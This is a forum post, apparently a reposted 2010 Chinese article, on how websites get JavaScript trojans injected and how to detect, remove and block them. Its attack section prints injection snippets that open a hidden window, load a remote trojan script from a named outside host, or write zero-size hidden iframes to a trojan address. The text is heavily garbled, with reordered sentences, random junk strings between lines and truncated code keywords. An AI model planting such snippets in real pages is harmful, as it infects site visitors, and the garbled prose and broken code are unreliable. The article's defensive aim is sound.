搜索
查看: 11613|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

/ {# ]0 T Z7 d: u/ a2 r+ H' r

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

" \2 o A$ ]" S T

IFRAME 和 JS 脚本挂马。

4 L2 n2 @9 Y% _

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

( K% x: S* t- ?- x& S0 G

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

* o7 D: g$ t5 q+ e+ k1 X

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

( X6 o' E5 j; q1 \8 _1 l

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

" W% v* `1 L' u# p

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

* ?2 ]" ~& a( b: p& u) L

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

# H, x9 Z7 N+ y# L5 H

。一千多位会员的 ID

s+ x% l5 D! G' Y3 s5 b" n0 j

2: 如何检测网页是否被挂马。

]4 k- l. N8 D7 b, J' Y

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

" \2 w0 W: D. \

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

8 U9 A3 O+ I- _/ m- A9 Q# Z8 U

因素。
2 googl 检测。>

. f4 I2 E9 O. y% \

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

+ E4 s: S( V% W. M

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

+ [/ @' k/ I+ M4 D; H6 g

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

6 Q0 E% ?" b% a! K+ y

! U" {9 J; x! F) G- _, F

3: 如何清除网页木马。

0 a1 f& s; m( Q+ W4 X3 C. ?

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

* x" `% q# V8 f& U1 z( {% p4 r

入源文件把相关的网页挂马种类的可疑代码删除。

. D& P5 a- t" X4 z

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

+ @) n [* C1 L# K9 z

悉。>

* x) _- F( H* R2 Y& _$ J( l

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

3 e: h1 P: j( |5 z

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

D9 j' L) g1 d# a2 q% s

2 保证你所使用的顺序及时的更新。

; Q' I! U' Z. L8 l8 [$ _1 V- W* g8 q

3 不要在前台网页上加注后台管理程序登陆页面的链接。

! m# ]5 n7 l' |; F* ?" D4 u# t

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

+ P5 ^' U' D6 K8 A w

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

! B6 J# e. q/ X: ?3 Y# U

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

9 y" P/ I5 I/ l9 o9 W, O' r

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

k; Q5 P& N9 B: E. B& q) b

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

6 `) k8 [+ V4 F: @. E3 K. p

D. q9 s* e* Z7 \

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

# W; q# |0 D+ A

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

% ?3 D$ ^' a5 b+ Y/ J

JS 挂马溯源

$ f: B" y! z# H7 N) H

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

/ Z$ a7 ?/ i* P4 R* P% n

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

0 } g) i& B0 @. s1 b1 D

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

+ r# v0 [0 y; g: a; p$ n

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

' G* ~( R a& i' ~9 H. D) s

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

( P. l5 q# D2 [2 S- F$ \

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

. g" E2 W2 Z( D# E

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

0 o) ]8 \! Z3 g) B% O$ H

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

% Y& n8 v) g8 i) R

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

& X" {$ i8 O) }# h/ J

脚本在工作中会有很大的协助。

2 z4 ^7 V# ?# C* E5 @/ p: e a

挂马原理一点通

+ }, H8 G$ G" P2 K

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

; x* M$ h+ [" y

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

7 n. R9 {, y, l

无从区分木马在何处。

: T( ^$ T# s! x' z# R& n5 N# ~+ N

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

|( P3 ]$ W6 l: k7 s

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

: f; B$ u# k, S

容易蒙混过关,导致木马久杀不绝。

& K' |6 _ h; d# k

JS 挂马攻防实录

( p1 ~! B/ G' t2 J

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

* z6 u. E0 J% _: H0 B

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

6 ]; `0 r- J( U) D- t

这种方法使用的关键代码如下:

2 c2 D1 V# B3 t/ r0 b

"",  window.open "http://www.v404.cn/ 木马

! L+ ? `: I: o! p$ [

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

* b$ U6 g7 _! v3 j3 g0 m

3 R+ b2 t4 m1 o7 y: H0 M2 o; ?2 O

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

p$ `3 U( S+ e+ S) Y4 P8 D, J6 b

但是设置为 0 后,可能会出现恶意代码不运行的情况。

o4 |+ A; {! Z2 ]. W

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

0 @. P- h) c L/ G# [

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

4 Q; k! Z3 a) \7 H

0 Z" O4 ]/ h) L. _ Q& p& `9 E- Z0 U

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

+ |$ d, l$ p6 v$ o8 y- o

: X" L0 N# c3 o- T1 W% l

或者

, R1 ?0 d2 l' O- F/ b0 g v2 D

document.writ "<div style='display:none'>"

6 s, [. z" ~9 J8 k, s

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

x1 h* L5 n- X* d

document.writ "</div>"
 

0 g+ P1 k2 M4 W. L9 o0 q2 g5 P) C

( T# z: Y) @/ z; r# O

就成功地将木马挂到对方的网页中了

/ U: F$ f a$ T9 s; Z

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

5 s8 _( k2 z1 P) t7 h1 m' d0 F

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

4 M! z4 g+ @- B( Q* t

或者:

3 W6 `7 k4 k& |/ |4 u- f

<ifram src="vbscript:[ 挂马脚本 ]">

/ U L4 r. |( u/ k; ~; x/ e. R# f

: P7 A( W. t( ~) h7 i! @6 S


等等 …

" `/ q+ {3 Y5 x

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

( p5 b: X* y. J+ X! S( [8 [

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

" q4 c, U9 `/ _; V! z6 l* @* s

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

0 s- J* C1 a: E9 R. ~3 D

;}

9 q1 S5 c& w' i& U( z

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

6 _) E9 o3 b. n5 c

; j s8 |( O8 ~7 I; M

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

$ C1 s1 t! s0 ]* X$ @) M( O

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

9 S; ], z9 r( _. `& u+ i# c

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

& p+ K; R- z) H* N4 Z/ z, |3 N; _

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

3 B! j& r, Q T3 j. b# M

<title> 让 JS 挂马中止的 CSS 代码 </title>

$ E% C d& s! j" c1 V5 U

<styl type="text/css" id="shudoo">

: @; u. T8 c$ B0 z( x, X5 N

/*<![CDATA[*/

3 g) M7 k. e1 z+ L9 a% e

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

! Q! K8 Q+ x% v# w+ a, s0 i

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

0 L0 T$ E$ z& Y- B. D

/*]]>*/

4 G- J% F, i0 \ F2 K7 S! Z0 h

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表